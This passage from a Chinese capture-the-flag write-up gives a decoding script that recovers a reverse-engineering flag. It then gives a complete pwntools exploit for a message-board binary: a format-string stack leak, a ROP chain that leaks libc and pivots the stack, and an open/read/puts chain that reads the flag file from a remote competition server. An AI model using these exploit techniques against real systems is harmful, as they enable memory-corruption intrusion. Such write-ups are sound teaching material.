data1[3] = fun1(data1[3], 14)
for i in range(4):
    data[i * 8] = data1[i] & 0xff
    data[i * 8 + 1] = (data1[i] >> 8) & 0xff
    data[i * 8 + 2] = (data1[i] >> 16) & 0xff
    data[i * 8 + 3] = (data1[i] >> 24) & 0xff
    data[i * 8 + 4] = (data1[i] >> 32) & 0xff
    data[i * 8 + 5] = (data1[i] >> 40) & 0xff
    data[i * 8 + 6] = (data1[i] >> 48) & 0xff
    data[i * 8 + 7] = (data1[i] >> 56) & 0xff
print(data)
data2 = []
for i in range(8):
    a = data[i * 4]
    a += data[i * 4 + 1] << 8
    a += data[i * 4 + 2] << 16
    a += data[i * 4 + 3] << 24
    data2.append(a)
print(data2)
#[1846184147, 2330059187, 209878574, 218208010, 168089402, 120629780, 140382767, 282460734]

exp:

data2=[1846184147,2330059187,209878574,218208010,168089402,120629780,140382767,282460734]
t=0x3CA7259D
flag=[0]*32
flag1=[0]*8
for i in range(8):
  flag1[i]=data2[i]-t
  flag[i * 4] = flag1[i] & 0xff
  flag[i * 4 + 1] = (flag1[i] >> 8) & 0xff
  flag[i * 4 + 2] = (flag1[i] >> 16) & 0xff
  flag[i * 4 + 3] = (flag1[i] >> 24) & 0xff
  t ^= data2[i]
print(bytes(flag))
#b'6cc1e44811647d38a15017e389b3f704'

PWN

DAS留言板

image-20230202134309690

一次格式化字符串+orw

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#p = process('./pwn')#, env={"LD_PRELOAD":'./libc.so.6'})
p = remote('tcp.cloud.dasctf.com',24690)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

sla('Welcome to DASCTF message board, please leave your name:\n','%p')
ru('Hello, 0x')
stack = int(r(12),16)+8
leak('stack',stack)

rdi = 0x0000000000401413
leave = 0x00000000004012e1
pl = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

ru('Posted Successfully~\n')
libcbase = uu64(r(6)) - libc.sym['puts']
leak('libcbase',libcbase)

#rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx = libcbase + 0x0000000000142c92
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
pl = b'./flag\x00\x00' + p64(rdi) + p64(stack-0x178) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(opent)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(0x0404180) + p64(rdx) + p64(0x30) + p64(read)
pl += p64(rdi) + p64(0x0404180) + p64(puts) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack-0x178)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

itr()

感觉给的libc不太对,用2.31ubuntu9.7的打通了